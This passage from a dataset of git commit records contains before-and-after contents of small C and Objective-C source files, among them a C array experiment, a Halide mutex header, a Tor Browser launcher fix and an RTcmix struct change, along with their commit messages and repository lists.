{"commit":"f7bae4b98f7bacc29addb1b85e5aecee0054c04d","old_file":"c\/arrays.c","new_file":"c\/arrays.c","old_contents":"#include <stdio.h>\n\nint my_array[] = {1,2,3,4,5,6};\n\nvoid f()\n{\n\tprintf(\"called f\\n\");\n}\n\nvoid (*f_pointer())(void)\n{\n\treturn &f;\n}\n\nint hundredth(int a[])\n{\n\treturn a[100];\n}\n\nint head(int a[])\n{\n\treturn a[0];\n}\n\nint (*f2())(int*)\n{\n\treturn &head;\n}\n\nint previous(int a[])\n{\n\treturn a[-1];\n}\n\nint main(void)\n{\n\tint one  = head(my_array);\n\tint prev = previous(&my_array[1]);\n\tint two = f2()(my_array);\n\tf();\n\tf_pointer()();\n\tprintf(\"Head of array => %d\\n\", one);\n\tprintf(\"Head of array => %d\\n\", prev);\n\tprintf(\"Head of array => %d\\n\", two);\n\treturn 0;\n}\n\n","new_contents":"#include <stdio.h>\n\nint my_array[] = {1,2,3,4,5,6};\n\nvoid f()\n{\n\tprintf(\"called f\\n\");\n}\n\nvoid (*f_pointer())(void)\n{\n\treturn &f;\n}\n\nint hundredth(int a[])\n{\n\treturn a[100];\n}\n\nint head(int a[])\n{\n\treturn a[0];\n}\n\nint (*f2())(int*)\n{\n\treturn &head;\n}\n\nint previous(int a[])\n{\n\treturn a[-1];\n}\n\nint main(void)\n{\n\tint one  = head(my_array);\n\tint prev = previous(&my_array[1]);\n\tint two = f2()(my_array);\n\tf();\n\tf_pointer()();\n\tprintf(\"Head of array => %d\\n\", one);\n\tprintf(\"Head of array => %d\\n\", prev);\n\tprintf(\"Head of array => %d\\n\", two);\n\n\treturn 0;\n}\n\n","subject":"Test taking address of C array","message":"Test taking address of C array\n","lang":"C","license":"bsd-3-clause","repos":"dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps,dterei\/Scraps"}
{"commit":"fce01fde1fc4ce33ef25cf1af9773474abefa736","old_file":"primitiv\/c\/status.h","new_file":"primitiv\/c\/status.h","old_contents":"\/* Copyright 2017 The primitiv Authors. All Rights Reserved. *\/\n\n#ifndef PRIMITIV_C_STATUS_H_\n#define PRIMITIV_C_STATUS_H_\n\n#include <primitiv\/c\/define.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef enum primitiv_Status {\n  PRIMITIV_OK = 0,\n  PRIMITIV_ERROR = 1,\n} primitiv_Status;\n\nextern PRIMITIV_C_API const char *primitiv_Status_get_message();\n\nextern PRIMITIV_C_API void primitiv_Status_reset();\n\n#ifdef __cplusplus\n}  \/\/ end extern \"C\"\n#endif\n\n#endif  \/\/ PRIMITIV_C_STATUS_H_\n","new_contents":"\/* Copyright 2017 The primitiv Authors. All Rights Reserved. *\/\n\n#ifndef PRIMITIV_C_STATUS_H_\n#define PRIMITIV_C_STATUS_H_\n\n#include <primitiv\/c\/define.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef enum primitiv_Status {\n  PRIMITIV_OK = 0,\n  PRIMITIV_ERROR = -1,\n} primitiv_Status;\n\nextern PRIMITIV_C_API const char *primitiv_Status_get_message();\n\nextern PRIMITIV_C_API void primitiv_Status_reset();\n\n#ifdef __cplusplus\n}  \/\/ end extern \"C\"\n#endif\n\n#endif  \/\/ PRIMITIV_C_STATUS_H_\n","subject":"Change the PRIMITIV_ERROR value from 1 to -1 so that MSB can imply errors.","message":"Change the PRIMITIV_ERROR value from 1 to -1 so that MSB can imply errors.\n","lang":"C","license":"apache-2.0","repos":"odashi\/primitiv,odashi\/primitiv,odashi\/primitiv"}
{"commit":"f7d5d48f3d78dc9d8f82aa5af23a23807fa0d6be","old_file":"ui\/views\/examples\/multiline_example.h","new_file":"ui\/views\/examples\/multiline_example.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n#define UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/string16.h\"\n#include \"ui\/views\/controls\/textfield\/textfield_controller.h\"\n#include \"ui\/views\/examples\/example_base.h\"\n\nnamespace views {\n\nclass Label;\n\nnamespace examples {\n\n\/\/ An example that compares the multi-line rendering of different controls.\nclass MultilineExample : public ExampleBase,\n                         public TextfieldController {\n public:\n  MultilineExample();\n  virtual ~MultilineExample();\n\n  \/\/ ExampleBase:\n  virtual void CreateExampleView(View* container) OVERRIDE;\n\n private:\n  class RenderTextView;\n\n  \/\/ TextfieldController:\n  virtual void ContentsChanged(Textfield* sender,\n                               const string16& new_contents) OVERRIDE;\n  virtual bool HandleKeyEvent(Textfield* sender,\n                              const ui::KeyEvent& key_event) OVERRIDE;\n\n  RenderTextView* render_text_view_;\n  Label* label_;\n  Textfield* textfield_;\n\n  DISALLOW_COPY_AND_ASSIGN(MultilineExample);\n};\n\n}  \/\/ namespace examples\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n#define UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/strings\/string16.h\"\n#include \"ui\/views\/controls\/textfield\/textfield_controller.h\"\n#include \"ui\/views\/examples\/example_base.h\"\n\nnamespace views {\n\nclass Label;\n\nnamespace examples {\n\n\/\/ An example that compares the multi-line rendering of different controls.\nclass MultilineExample : public ExampleBase,\n                         public TextfieldController {\n public:\n  MultilineExample();\n  virtual ~MultilineExample();\n\n  \/\/ ExampleBase:\n  virtual void CreateExampleView(View* container) OVERRIDE;\n\n private:\n  class RenderTextView;\n\n  \/\/ TextfieldController:\n  virtual void ContentsChanged(Textfield* sender,\n                               const string16& new_contents) OVERRIDE;\n  virtual bool HandleKeyEvent(Textfield* sender,\n                              const ui::KeyEvent& key_event) OVERRIDE;\n\n  RenderTextView* render_text_view_;\n  Label* label_;\n  Textfield* textfield_;\n\n  DISALLOW_COPY_AND_ASSIGN(MultilineExample);\n};\n\n}  \/\/ namespace examples\n}  \/\/ namespace views\n\n#endif  \/\/ UI_VIEWS_EXAMPLES_MULTILINE_EXAMPLE_H_\n","subject":"Update the include of string16.h to point to its new location.","message":"views\/examples: Update the include of string16.h to point to its new location.\n\nstring16.h now lives in base\/strings\/ directory.\n\nBUG=247723\nTBR=ben@chromium.org\nNOTRY=true\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/17193002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@206667 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,littlstar\/chromium.src,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,ltilve\/chromium,dednal\/chromium.src,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,Jonekee\/chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,ChromiumWebApps\/chromium,Jonekee\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,patrickm\/chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,littlstar\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,anirudhSK\/chromium,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,Chilledheart\/chromium,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium"}
{"commit":"9b4a41296ef6979aa4622c509d301d8e5fd7f275","old_file":"ext\/binary_search.c","new_file":"ext\/binary_search.c","old_contents":"#include <ruby.h>\n\nstatic ID id_cmp;\n\nstatic VALUE rb_array_binary_index(VALUE self, VALUE value) {\n  int lower = 0;\n  int upper = RARRAY(self)->len - 1;\n  int i, comp;\n\n  while(lower <= upper) {\n    i = lower + (upper - lower) \/ 2;\n    comp = FIX2INT(rb_funcall(value, id_cmp, 1, RARRAY(self)->ptr[i]));\n\n    if(comp == 0) {\n      return LONG2NUM(i);\n    } else if(comp == 1) {\n      lower = i + 1;\n    } else {\n      upper = i - 1;\n    };\n  }\n  return Qnil;\n}\n\nvoid Init_binary_search() {\n  id_cmp = rb_intern(\"<=>\");\n  rb_define_method(rb_cArray, \"binary_index\", rb_array_binary_index, 1);\n}\n","new_contents":"#include <ruby.h>\n\n#ifndef RARRAY_PTR\n#define RARRAY_PTR(ary) RARRAY(ary)->ptr\n#endif\n#ifndef RARRAY_LEN\n#define RARRAY_LEN(ary) RARRAY(ary)->len\n#endif\n\nstatic ID id_cmp;\n\nstatic VALUE rb_array_binary_index(VALUE self, VALUE value) {\n  int lower = 0;\n  int upper = RARRAY_LEN(self) - 1;\n  int i, comp;\n\n  while(lower <= upper) {\n    i = lower + (upper - lower) \/ 2;\n    comp = FIX2INT(rb_funcall(value, id_cmp, 1, RARRAY_PTR(self)[i]));\n\n    if(comp == 0) {\n      return LONG2NUM(i);\n    } else if(comp == 1) {\n      lower = i + 1;\n    } else {\n      upper = i - 1;\n    };\n  }\n  return Qnil;\n}\n\nvoid Init_binary_search() {\n  id_cmp = rb_intern(\"<=>\");\n  rb_define_method(rb_cArray, \"binary_index\", rb_array_binary_index, 1);\n}\n","subject":"Use RARRAY_LEN and RARRAY_PTR on ruby 1.9","message":"Use RARRAY_LEN and RARRAY_PTR on ruby 1.9\n","lang":"C","license":"mit","repos":"tyler\/binary_search,tyler\/binary_search"}
{"commit":"af0802bae6f1dfc7323d540c479a79c98944e3d4","old_file":"src\/RelativeLink\/RelativeLink.c","new_file":"src\/RelativeLink\/RelativeLink.c","old_contents":"#include <windows.h>\n#include <stdio.h>\n#include <tchar.h>\n\n\/\/\n\/\/ RelativeLink.c\n\/\/ by Jacob Appelbaum <jacob@appelbaum.net>\n\/\/\n\/\/ This is a very small program to work around the lack of relative links \n\/\/ in any of the most recent builds of Windows.\n\/\/\n\/\/ To build this, you need Cygwin or MSYS.\n\/\/\n\/\/ You need to build the icon resource first:\n\/\/ windres RelativeLink-res.rc RelativeLink-res.o\n\/\/\n\/\/ Then you'll compile the program and include the icon object file:\n\/\/ gcc -mwindows -o StartTorBrowserBundle RelativeLink.c RelativeLink-res.o\n\/\/\n\/\/ End users will be able to use StartTorBrowserBundle.exe\n\/\/\n\n\/\/int _tmain( int argc, TCHAR *argv[])\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\n{\n    STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n    \n    ZeroMemory ( &si, sizeof(si) );  \n    si.cb = sizeof(si);\n    ZeroMemory ( &pi, sizeof(pi) );\n\n    TCHAR *ProgramToStart;\n    ProgramToStart = TEXT (\"App\/vidalia.exe --datadir .\\\\Data\\\\Vidalia\\\\\");\n\n    if( !CreateProcess( \n        NULL, ProgramToStart, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ))\n    {\n         MessageBox ( NULL, TEXT (\"Unable to start Vidalia\"), NULL, NULL );\n         return -1;\n    }\n\n    return 0;\n}\n","new_contents":"#include <windows.h>\n#include <stdio.h>\n#include <tchar.h>\n\n\/\/\n\/\/ RelativeLink.c\n\/\/ by Jacob Appelbaum <jacob@appelbaum.net>\n\/\/\n\/\/ This is a very small program to work around the lack of relative links \n\/\/ in any of the most recent builds of Windows.\n\/\/\n\/\/ To build this, you need Cygwin or MSYS.\n\/\/\n\/\/ You need to build the icon resource first:\n\/\/ windres RelativeLink-res.rc RelativeLink-res.o\n\/\/\n\/\/ Then you'll compile the program and include the icon object file:\n\/\/ gcc -mwindows -o StartTorBrowserBundle RelativeLink.c RelativeLink-res.o\n\/\/\n\/\/ End users will be able to use StartTorBrowserBundle.exe\n\/\/\n\n\/\/int _tmain( int argc, TCHAR *argv[])\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\n{\n    STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n    \n    ZeroMemory ( &si, sizeof(si) );  \n    si.cb = sizeof(si);\n    ZeroMemory ( &pi, sizeof(pi) );\n\n    TCHAR *ProgramToStart;\n    ProgramToStart = TEXT (\"App\/vidalia.exe --datadir .\\\\Data\\\\Vidalia\\\\\");\n\n    if( !CreateProcess( \n        NULL, ProgramToStart, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ))\n    {\n         MessageBox ( NULL, TEXT (\"Unable to start Vidalia\"), NULL, MB_OK);\n         return -1;\n    }\n\n    return 0;\n}\n","subject":"Fix pointer without cast issue.","message":"Fix pointer without cast issue.\n\n\nsvn:r14724\n","lang":"C","license":"bsd-3-clause","repos":"Shondoit\/torbrowser,Shondoit\/torbrowser,Shondoit\/torbrowser,Shondoit\/torbrowser"}
{"commit":"cf91829aa3cf0f0916769f776e55973e00227c28","old_file":"t\/mmap_test_1.c","new_file":"t\/mmap_test_1.c","old_contents":"","new_contents":"#include <stdlib.h> \/* malloc(), free() *\/\n#include <sys\/mman.h> \/* mmap(), munmap() *\/\n#include <stdio.h> \/* perror() *\/\n#include <assert.h>\n\nint main(int argc, char **argv)\n{\n  void *addr, *addr2;\n  size_t size = 16 * 1024;\n\n  addr = mmap((void*) 0, size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, (off_t) 0);\n  assert(addr != MAP_FAILED);\n\n  \/* Assert: memory mapped twice does not error. *\/\n  addr2 = mmap(addr + (size \/ 2), size \/ 2, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, (off_t) 0);\n  assert(addr2 != MAP_FAILED);\n\n  return 0;\n}\n","subject":"Test that mmap()ing a region twice does not fail.","message":"Test that mmap()ing a region twice does not fail.\n","lang":"C","license":"mit","repos":"kstephens\/smal,kstephens\/smal,kstephens\/smal"}
{"commit":"01b357ec14e0d8ef60bf12e297c347230fb8da63","old_file":"src\/UIViewController+IDPExtensions.h","new_file":"src\/UIViewController+IDPExtensions.h","old_contents":"\/\/\n\/\/  UIViewController+IDPExtensions.h\n\/\/  ClipIt\n\/\/\n\/\/  Created by Vadim Lavrov Viktorovich on 2\/20\/13.\n\/\/  Copyright (c) 2013 IDAP Group. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#define IDPViewControllerViewOfClassGetterSynthesize(theClass, getterName) \\\n        - (theClass *)getterName { \\\n            if ([self.view isKindOfClass:[theClass class]]) { \\\n                return (theClass *)self.view; \\\n            } \\\n            return nil; \\\n        }\n\n@interface UIViewController (IDPExtensions)\n\n@property (nonatomic, retain, readonly) UITableView *tableView;\n\n@end\n","new_contents":"\/\/\n\/\/  UIViewController+IDPExtensions.h\n\/\/  ClipIt\n\/\/\n\/\/  Created by Vadim Lavrov Viktorovich on 2\/20\/13.\n\/\/  Copyright (c) 2013 IDAP Group. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIViewController (IDPExtensions)\n\n@property (nonatomic, retain, readonly) UITableView *tableView;\n\n@end\n","subject":"Move IDPViewControllerViewOfClassGetterSynthesize to CommonKit -> IDPPropertyMacros.h","message":"Move IDPViewControllerViewOfClassGetterSynthesize to CommonKit -> IDPPropertyMacros.h\n","lang":"C","license":"bsd-3-clause","repos":"idapgroup\/UIKit,idapgroup\/UIKit,idapgroup\/UIKit,idapgroup\/UIKit"}
{"commit":"598924ef6499c736f9ba63da255c37bdfebfe213","old_file":"includes\/linux\/goblint_preconf.h","new_file":"includes\/linux\/goblint_preconf.h","old_contents":"#define KBUILD_MODNAME \"SomeModule\"\n#define CONFIG_DEBUG_SPINLOCK 1","new_contents":"#define KBUILD_MODNAME \"SomeModule\"\n#define CONFIG_DEBUG_SPINLOCK 1\n#undef __GNUC_MINOR__\n#define __GNUC_MINOR__ 4\n","subject":"Redefine version macro to avoid gcc 4.5 features not supported by CIL","message":"Redefine version macro to avoid gcc 4.5 features not supported by CIL\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"231ba5dc3b5833fb64177f6ebb0bd372c7f026ae","old_file":"test\/Driver\/XRay\/xray-instrument-os.c","new_file":"test\/Driver\/XRay\/xray-instrument-os.c","old_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-\n\/\/ REQUIRES: amd64 || x86_64 || x86_64h || arm || aarch64 || arm64\ntypedef int a;\n","new_contents":"\/\/ RUN: not %clang -o \/dev\/null -v -fxray-instrument -c %s\n\/\/ XFAIL: -linux-\n\/\/ REQUIRES-ANY: amd64, x86_64, x86_64h, arm, aarch64, arm64\ntypedef int a;\n","subject":"Revert \"[test] Replace `REQUIRES-ANY: a, b, c` with `REQUIRES: a || b || c`.\"","message":"Revert \"[test] Replace `REQUIRES-ANY: a, b, c` with `REQUIRES: a || b || c`.\"\n\nThe underlying `lit` change needs to be better-coordinated with libc++.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@292898 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"d2d549a541fd716457776e796fad96bfaf96782c","old_file":"src\/runtime\/scoped_mutex_lock.h","new_file":"src\/runtime\/scoped_mutex_lock.h","old_contents":"","new_contents":"#ifndef HALIDE_RUNTIME_MUTEX_H\n#define HALIDE_RUNTIME_MUTEX_H\n\n#include \"HalideRuntime.h\"\n\n\/\/ Avoid ODR violations\nnamespace {\n\n\/\/ An RAII mutex\nstruct ScopedMutexLock {\n    halide_mutex *mutex;\n\n    ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {\n        halide_mutex_lock(mutex);\n    }\n\n    ~ScopedMutexLock() {\n        halide_mutex_unlock(mutex);\n    }\n};\n\n}\n\n#endif\n","subject":"Add an OS mutex to Halide runtime.","message":"Add an OS mutex to Halide runtime.\n\nDocument an issue with the POSIX thread pool.\n\nEnsure memoization cache is cleaned up when a JITted module is\nshutdown. (Also provides a way to clear the cache from AOT code.)\n\n\nFormer-commit-id: cf5298c90763481e80a748c1b10453c482fdd7a8","lang":"C","license":"mit","repos":"Trass3r\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide"}
{"commit":"8337ff531d1611dad7bac73a2751b9f7a44242e5","old_file":"src\/rtcmix\/rtdefs.h","new_file":"src\/rtcmix\/rtdefs.h","old_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n#define MAX_INPUT_FDS 128\n#define AUDIO_DEVICE 9999999\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n\tchar filename[1024];\n\tint fd;\n\tint refcount;\n#ifdef USE_SNDLIB\n\tshort header_type;        \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n\tshort data_format;        \/* e.g., snd_16_linear (in sndlib.h) *\/\n\tshort chans;\n#else\n  #ifdef sgi\n\tvoid *handle;\n  #endif\n#endif\n\tint data_location;        \/* offset of sound data start in file *\/\n\tfloat dur;\n} InputDesc;\n\n\/* for insts - so they don't have to include globals.h *\/\nextern int MAXBUF;\nextern int NCHANS;\nextern int RTBUFSAMPS;\nextern float SR;\n\n#endif \/* _RTDEFS_H_ *\/\n\n","new_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n#define MAX_INPUT_FDS 128\n#define AUDIO_DEVICE 9999999\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n\tchar filename[1024];\n\tint fd;\n\tint refcount;\n#ifdef USE_SNDLIB\n\tshort header_type;        \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n\tshort data_format;        \/* e.g., snd_16_linear (in sndlib.h) *\/\n\tshort chans;\n\tfloat srate;\n#else\n  #ifdef sgi\n\tvoid *handle;\n  #endif\n#endif\n\tint data_location;        \/* offset of sound data start in file *\/\n\tfloat dur;\n} InputDesc;\n\n\/* for insts - so they don't have to include globals.h *\/\nextern int MAXBUF;\nextern int NCHANS;\nextern int RTBUFSAMPS;\nextern float SR;\n\n#endif \/* _RTDEFS_H_ *\/\n\n","subject":"Add srate field to InputDesc.","message":"Add srate field to 